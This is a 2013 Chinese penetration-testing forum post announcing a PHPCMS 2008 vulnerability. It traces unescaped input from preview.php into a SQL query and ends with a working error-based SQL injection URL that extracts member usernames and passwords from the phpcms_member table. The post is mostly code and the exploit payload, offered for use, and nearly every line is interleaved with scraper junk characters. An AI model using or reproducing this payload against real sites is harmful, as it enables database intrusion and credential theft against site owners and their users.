中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
# \) e# W$ r" ^1 |% H) \
! d9 B! ?1 [9 F/ D# e# n' J
要转摘的兄弟们,你们还是带个版权吧!
. q+ [" b U. @! r
7 Z2 K% z6 Z w( G2 P8 t1 R
组织 :
http://www.safekeyer.com/
(欢迎访问)
: F) D; |- G/ Y
9 b% ~2 J) a; D' C0 a
author: 西毒 blog:
http://hi.baidu.com/sethc5
& G6 }: \, E: K
7 U3 l! S( k; c- h
5 C% k9 E, ]0 }; u- Z8 }
7 ^' l& y* ~7 P8 e
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
% u9 N7 w; w' x) h( Q
. D1 N P. I& r# e7 b
过程不明显的我就省略了。
: J* V- [ x7 l; v- z
- _) Y" C8 y K: C
在preview.php 中第7行
, X1 F Y& Z( ^7 Q4 N) m
. A8 h: i% K% u- G; b+ w: v9 g
$r = new_stripslashes($info);
3 P1 z" g( a$ S( }1 [1 X p; i
% s% P4 Y0 U: x6 Y9 M3 A
我们跟踪new_stripslashes这个函数
# e; t5 h$ E: q& J9 D! `
. `4 z: t' |. L1 i7 ~
在global.func.php中可以找到
% B' L. G! L+ t9 w' T: ^. @
! t5 ^3 J; k) m: c3 _. U. J5 C
1
7 `* Z4 l: h# J$ }) W* H# k1 x
2
. ?' a6 a- x' D9 F2 Y$ f; G( K; |
3
5 K+ ?, i* L- P" }; g$ I
4
1 L4 A) w, C: H- _8 T) Z: i
5
( g8 P6 ~* o7 e! N7 \' ~. [
6 function new_stripslashes($string)
3 E1 a" I) K6 E% ^4 p8 E \/ p/ B
{
; b2 H- J1 O5 k) c6 ?0 F7 R- k
if(!is_array($string)) return stripslashes($string);
0 g1 x% b+ U) a4 I, r+ M; ^
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
) l- G2 `1 p9 n; L; J
return $string;
2 K: c) {0 ?4 Z( ?7 g7 Q# B8 ~
}
8 j) L1 L& T/ Q8 ?+ _" t
) y& O& d) S; v7 _) J$ i
这个函数的功能不用解释了吧
7 c" X5 E0 I6 N
6 R4 o6 X7 s; m/ l* c+ \4 @: q9 m
所以我们看具体应用点再哪?
, j! h" X. g+ P k r
, r) I/ S5 u" t, e! Z; G
1
, I2 Q1 L: T# P5 z' K
2
, P: R* z6 \1 j2 r
3
$ z4 g, ], W: d. }% F
4
0 T% a& z- {+ J0 ?1 B
5
) c& l I- X% p% U, x" |
6
8 L2 }7 {+ h: R A% Q1 y0 U
7
7 D1 B) e" V* W
8
: |$ z, D% W# \' C+ v: |
9
- P+ E- t& S8 G1 o4 U! G
10
: F3 [8 f# L- z1 L- P8 f
11
; Q1 d4 y! R. E, @: M
12
( @# ]: \- a; t
13
$ @7 S& Q8 y3 ~; g$ q$ j3 c
14
3 P$ a, C: [/ J a
15
* b) u5 V, n# }2 ]; b5 s; Z! |% X
16
' B" L) R1 G5 O7 q- k* p; \% h
17
0 @% h7 M) t6 k0 _- p
18
8 |2 Q+ O+ W" ?: v+ p% n, ?
19
" ~0 S3 C7 R2 }; b" U4 k b
20
- j* L8 d/ X: i- n, t" `
21
0 s: ?* G* V9 Y
22
r' V: t8 F% T- z# }& Z
23
( B' R& K* Z, F# b
24
; j) m7 k. P/ o |! m
25
) @, E }/ J. @1 e( j2 U+ F
26
3 f4 B! h9 Q$ Y: M9 l; J# G, X
27
; z# v& Z: p7 a2 D' V5 o
28
, m" N: M7 U1 C' l8 \
29
- y; [$ y/ U* p4 s# N% Q2 ~
30
; M0 x* n) O. `4 \# `6 O, p
31
: _* q! i. Z, y3 j
32
/ s9 U* d! O" z
33
! Q' @9 n- v; u) S: H3 e
34
# P/ U: f, s0 ]
35 require dirname(__FILE__).'/include/common.inc.php';
0 m# C3 E6 _; O8 W. R
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
" }1 v: u) g6 W) Q7 n+ U% j+ @
require_once CACHE_MODEL_PATH.'content_output.class.php';
, b+ }! B1 }4 F$ Y/ d4 e- w) o
require_once 'output.class.php';
: u5 i# ~7 S3 D8 G6 \ X6 ]# `
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
5 z' M0 M& l9 v/ W' m( D- E) h
$r = new_stripslashes($info); //反转义了.....关键
% j- `; w) G8 X6 u6 o
$C = cache_read('category_'.$r['catid'].'.php');
N1 V0 j; ^. y% d- O3 a, Z
$out = new content_output();
! ?9 b9 q' k4 ~ S9 c6 x2 ?
$r['userid'] = $_userid;
' f+ p* W6 f1 W4 b# h7 T
$r['inputtime'] = TIME;
: v: w; Q, M+ c! N9 g
$data = $out->get($r);
3 C7 e ~( @; H+ q3 s6 K( E
extract($data);
# r' d+ p+ X% W6 S
$userid = $_username;
: {% q' w0 v( e8 O0 ?2 m
for($i=1;$i<10;$i++)
- b2 A% Q# s( o% @; A+ |
{
/ d) v4 K) C* ?3 y
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
6 ], N5 e4 }+ V# O2 n
}
! _* [5 ]( B& f: | [
1 E1 J1 t+ y. Q9 k
$array_images = $str_attachmentArray;
$ }; _* _# b) {; ^5 n, v
$images_number = 10;
2 n' B2 R! m# v8 W% E- v! N
$allow_priv = $allow_readpoint = 1;
- d, B* C2 y# r! ^5 d3 W
$updatetime = date('Y-m-d H:i:s',TIME);
7 i+ X! d3 f( O) v8 x4 ^7 \
3 a. q! u) J; w$ A+ b* A2 r7 `. w
$page = max(intval($page), 1);
' u* C- X) {3 E2 x$ d; Z8 g
$pages = $titles = '';
% ^/ c/ @" c. j$ u+ G7 J2 r& m
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
6 d3 i- M m; I8 Q$ y$ E& j
{
) \/ K& i; F; m6 @5 I* A! d
require_once 'url.class.php';
$ \( b+ A" \- y& D
$curl = new url();
% n8 y7 A% M' `/ P! o
$contents = array_filter(explode('', $content));
% Y# F' ? X' r; l
$pagenumber = count($contents);
: g" t, F, ?9 ^5 k0 D8 @: _1 O5 U
for($i=1; $i<=$pagenumber; $i++)
1 G# \- V! h4 m
{
& ?5 M* f! b" ^/ s! R* Y; O
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
, v: Z1 h8 ^ a
}
, o! x `1 N/ z: d. b' h J/ Z: h
其中细节我就不说了...
5 o! }6 k% }) ]) T
1 P3 G% H3 X4 A$ Y+ g8 \% Z
我们看看这个$curl资源句柄中的show方法
8 W6 J/ F2 Z) j) \; U
0 P) ?2 P5 g' P
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
4 ]2 I: ~ c$ d) a( E1 T# c
6 `: e2 B$ a \& u3 O' H, X
1
- h$ c& Y4 {; K6 u5 t& n
2
3 T/ v2 z# p* l/ i. N
3
2 G( Y. R) r2 p
4
- Z3 M6 m3 Q) `
5
* g0 z* i! H3 U
6
6 \- Z1 h+ H4 T2 i# Z
7
/ t5 u {5 q, `! e
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
6 K9 q @0 Y: x& c
{
8 k" Q# O* K8 ^7 H: v! c
global $PHPCMS;
$ u A) M4 m5 N0 F
if($catid == 0 || $time == 0 || $prefix == '')
% M2 [' { Z6 l
{
( T+ T6 W9 o$ k. H- O P+ z
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
) w" R6 s6 @/ C
if($r['isupgrade'] && !empty($r['url']))
& K) k, O! C8 W! B6 }/ l7 v
{
) @. E6 u" ?9 P% U
+ X9 a7 I$ K; O6 X) H- P: s
所以结合前面的......我们x站了吧
. m& F! A3 z8 u! G) ]; I8 m' I
: g& W- [4 Q2 m& W, e% f; C* ]
给出exp
1 |, R7 u3 C G; B/ p' a. R/ c o
8 p; X$ o! g; X, o% m2 w: ^7 k
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
2 l R6 b# A1 X" n3 b
2 }/ T7 q' f/ ^. Z* `, s+ o1 s- S
截图看一下
9 r, G+ G9 m: p2 H# F
; v$ X- R; f5 T! @) A4 ^! [
最后真心说句,360收购漏洞计划,价格真心低.....
D- ]0 L8 b2 U5 }1 _. ^% H* O
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2